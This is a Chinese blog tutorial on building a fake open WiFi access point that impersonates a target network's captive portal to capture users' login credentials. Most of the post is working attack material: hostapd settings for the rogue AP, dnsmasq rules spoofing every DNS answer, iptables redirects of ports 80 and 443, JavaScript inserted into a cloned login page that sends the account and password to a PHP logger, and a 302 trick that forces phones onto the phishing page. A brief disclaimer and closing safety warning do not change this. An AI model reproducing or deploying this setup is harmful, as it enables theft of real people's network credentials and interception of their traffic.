效果

用户打开WiFi,会扫描到和一个与目标网络同样的网络xx.portal,同为开放型可以直接连接到该WiFi ,然后设备会提示该网络需要登录,并自动跳转到登录页面
如果用户忽略或退出自动跳转,当其打开任意一个网页(http,https),都会自动转到登录网页.
当用户输入上网账号密码时,会一直提示正在登录,让用户卡在正在登陆界面,但其上网账号与密码已经被我们截获.
(不考虑让输入账号密码的用户能真正获取冲浪资格)

环境

kali+apache2(显示登录页面)+dnsmasq(dns配置,dhcp配置)+hostapd(虚假wifi搭建)+iptables(防火墙配置)
kali uname -a

Linux kali 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64 GNU/Linux

前言

请勿用于非法用途,由此产生的责任与笔者无关.希望读者能追求技术,但坚守本心

开始

hostapd

首先airmon-ng check kill来关闭有障碍的服务,或者可以直接kill掉wpa_supplicant的进程来释放掉wlan0占用

由于要完全模拟普通目标网络的样子,首先更改软路由ip地址
ipconfig wlan0 172.16.253.3
配置hostapd.conf模拟open wifi

interface=wlan0
#ssid=LAPTOP-UTF-swe13k
ssid=xx.portalhw_mode=g
drive=nl80211
ieee80211n=1
channel=6
auth_algs=1

笔者也是刚刚了解hostapd,部分配置原理不是很清楚,很多是照着网络上写的,有懂的读者可以指正
注意测试阶段假ap的ssid可以与目标网络不一样,在真正开始钓鱼的时候再改为目标网络的名称

dnsmasq

当一个用户访问网络时,如果目标域名的IP地址不在自身dns缓存表中时,会首先向ap发出一个dns查询请求(本来是使用isc-dhcp-server来进行dhcp配置的,但后期发现还需要搭建dns服务器,就直接使用dnsmasq了)
dnsmasq.conf的主要配置如下(dns期骗,dhcp配置)

address=/*/172.16.253.3 #对于所有的dns请求,都返回本机的ip地址

这里被称为dns污染,客户端会将查询到的对应ip地址在自己的dns缓存表中记录一段时间,导致一时间不能够访问真正的网站,好孩子千万不要这样做

dhcp-range=172.16.253.5,172.16.253.255,255.255.255.0,2h #dhcp

iptables

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 172.16.253.3:80
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to 172.16.253.3:443
将目标端口为80的流量转接到本地的80端口
将目标端口为443的流量转接到本地的443端口
目的是,当用户本地有dns缓存,比如直接访问baidu时,不会显示网络无法连接,会跳转到本机的网络登录页面

apache2

常规http

因为我们要复制目标网络的登录页面(html+js静态),本来打算直接使用setoolkit网站克隆,结果无论如何都无法正常克隆(静态页面,动态呈现)
就直接右键保存页面,并直接添加到apache2的根页面.
使用浏览器控制台调试,输入任意账号密码点击登录

经过审计,回溯发现其在向后端发送登录请求前会经过ee()函数

修改ee函数,使其进入后,直接向我们的后端pump.php发出请求,记录账号密码,主要代码如下

var req=new XMLHttpRequest();
//form.DDDDD为用户账号,form.upass为用户密码
//alert("pump.php?name="+String(form.DDDDD.value)+"&pass="+String(form.upass.value));
req.open("GET","pump.php?name="+String(form.DDDDD.value)+"&pass="+String(form.upass.value),true);
req.send();

后端文件pump.php代码很简单,只是简单记录

<?php
#var_dump($_GET());
if (isset($_GET['nam']) and isset($_GET['pass'])){$f=fopen('u_p.txt','a');$up=$_GET['name'] . ' ' . $_GET['pass'] . '\n';#echo $up;fwrite($f,$up);fclose($f);
}
?>

把正在登录的界面修改timeout为9999(原先为3)

box.show({content: lang(‘正在登录…’),timeout: 9999});

内网https

由于在dnsmasq一步,我们将所有的dns查询转到本机,当用户访问https(443端口)时,仍会显示无法连接
所以给apache2配置内网https ssl认证
参考 wish_blue_sky大神文章
但是我不需要手动添加证书(可能时kali的原因),直接命令就可

a2enmod ssl
a2ensite default-ssl

输入命令后重启apache2直接就可以访问https,但无可避免的遇到证书不可信的提示(目标网络也会这样)
目标网络的不安全证书(阿鲁巴为网络提供商)

我们的不安全网络证书(kali友情提供)

大部分人即便点击查看证书看了一眼,也可能不知道kali是什么,于是就不打算再重新写证书过分伪装了

处理手机的网络验证

冲浪得知,当手机连接的wifi时会先向自己的网站发送一个http1.0数据包,如果正常到达,就说明wifi无portal认证,如果有302跳转,则说明需要认证,自动跳转到认证网页.
比如http://me.com/test/success

一般情况下手机先访问预先测试网页,而我们的apache2网站是没有这样的文件的,会得到一个404返回值,此时我们修改404为302跳转到我们的认证页面,就可以欺骗手机来自动跳转到我们的登录页面

  1. 修改/etcapache2/apache2.conf 将AllowOverride 的None 修改为All
    使其允许重新定义状态码
<Directory /usr/www/>Options Indexes Follow SynLinksAllowOverride AllRequire all granted
</Directory>
  1. 在网站根目录下写.htaccess文件 将404状态交给404.php来处理

ErrorDocument 404 /404.php

404.php内容如下,简单302重定向

<?php header("Location: index.html"); ?>

结语

大家在连接WiFi的时候一定要考虑其安全性,
有些专业钓鱼网络能提供流量给用户,但会记录用户的所有网络请求,获取其隐私数据.

如有建议或优化思路,欢迎评论指正或私信
如果本篇文章对你有帮助,请不要吝啬你的点赞

linux 模拟开放网络,搭建虚假portal网页认证wifi相关推荐

  1. Linux系统无线网络抓包程序(分析手机WIFI MAC地址)

    前面讲述了使用tcpdump和wireshark抓WIFI包,但这只是使用工具的层面,再深一层则是自己写代码实现这个功能.本文在前面文章<Linux系统有线网络抓包程序>的基础上添加实现无 ...

  2. protal服务器获取不到设备信息,Poral网页认证提示portal服务器获取不到设备信息或者设备没有回应req_info报文的解决办法...

    portal网页认证时提示获取不到设备信息或者没有回应req_info报文 文档名称 文档密级 问题描述: Portal网页认证场景,用户在浏览器输入账号名.密码点击登录时,系统提示portal se ...

  3. 百度超级链开放网络治理监督藏品火爆售罄!

    11月25日,8万多个百度超级链开放网络治理监督藏品提前售罄.这是百度超级链首次开放通道邀请生态伙伴成为监督节点,吸引大量关注. 此次发行的藏品基于百度超级链开放网络设计,开放网络(XuperOS)是 ...

  4. WiFi-ESP8266入门http(3-4)网页一键配网(1若为普通wifi直连 2若为西电网页认证自动网页post请求连接)+网页按钮灯控+MQTT通信...

    网页一键配网(1若为普通wifi直连  2若为西电网页认证自动网页post请求连接)+网页按钮灯控+MQTT通信 工程连接:https://github.com/Dongvdong/ESP8266_H ...

  5. linux下使用TC模拟弱网络环境

    linux下使用TC模拟弱网络环境 模拟延迟传输简介 netem 与 tc: netem 是 Linux 2.6 及以上内核版本提供的一个网络模拟功能模块.该功能模块可以用来在性能良好的局域网中,模拟 ...

  6. Linux 网络tc,linux下使用tc和netem模拟复杂网络环境

    netem(Network Emulator)可以用来对网卡发出的数据包进行增加延迟.丢包.重复.乱序等处理,来模拟复杂网络环境.netem的设置依赖tc命令,tc是Linux内核提供的流量控制工具. ...

  7. linux使用flask设计网站,linux下Flask框架搭建简单网页

    开始安装FLASK需要创建一个虚拟环境,虚拟环境可以不干扰正在使用的系统环境,避免影响,并且也不需要完全的root权限,更加安全可靠. 搭建环境 Python3.4 进入到microblog目录下创建 ...

  8. 2021年安徽省职业院校技能大赛网络搭建与应用竞赛

    2021年安徽省职业院校技能大赛 网络搭建与应用竞赛 技能要求 (总分1000分) 网络搭建与应用赛项执委会及专家组 2021年4月 竞赛说明 一.竞赛内容分布 "网络搭建与应用" ...

  9. 2021年安徽省职业院校技能大赛 网络搭建与应用竞赛

    2021年安徽省职业院校技能大赛 网络搭建与应用竞赛 技能要求 (总分1000分) 网络搭建与应用赛项执委会及专家组 2021年4月 竞赛说明 一.竞赛内容分布 "网络搭建与应用" ...

最新文章

  1. hadoop错误: 找不到或无法加载主类 org.apache.hadoop.mapreduce.v2.app.MRAppMaster
  2. iptables 流量速率控制
  3. 【python】yaml文件操作
  4. Cmake构建_设置debug与release不同名字
  5. 【Python-numpy】输出array时array中间是省略号而没有输出全部内容
  6. ArcGIS网络分析之中国邮递员问题
  7. Windows 命令 WMIC 使用详解
  8. 知其然,不知其所以然
  9. 百度、谷歌搜索引擎原理
  10. 零基础想要做好人物角色模型,先了解人体的构造!快来康康
  11. 【推荐】两大APP与云账户红包SDK集成详情及Demon分享
  12. 统一社会信用代码=营业执照注册号 + 营业执照注册号+营业执照注册号
  13. 发散性思维对养蜂技术的提高作用
  14. <医学断层图像三维重建面绘制算法的研究>——第一遍阅读
  15. R语言ggplot2可视化:使用patchwork包将两个ggplot2可视化结果横向构成新的结果可视化组合图(使用|符号)
  16. jdbc+servlet+jsp来写个mysql分页案例
  17. zigbee通讯技术复习笔记
  18. LeetCode | 0077. Combinations组合【Python】
  19. 锚点定位 跳转到指定位置 回到顶部功能
  20. 超级不可能的路Super Impossible Road Mac(竞速游戏)原生版

热门文章

  1. 张鑫旭数组方法总结收录
  2. Linux服务器集群系统(三)
  3. GraphicsPaths和Regions
  4. 耐得住寂寞,才守得住繁华。
  5. ES6 -- fill详解
  6. html控制页眉页脚,HTML到PDF解决方案(处理内容,页眉和页脚)
  7. 快速理解 一,二,三范式
  8. python Gooey库打包问题
  9. 3D人脸识别技术,正在全面入侵我们的日常生活
  10. 10个有趣的Python高级脚本,建议收藏!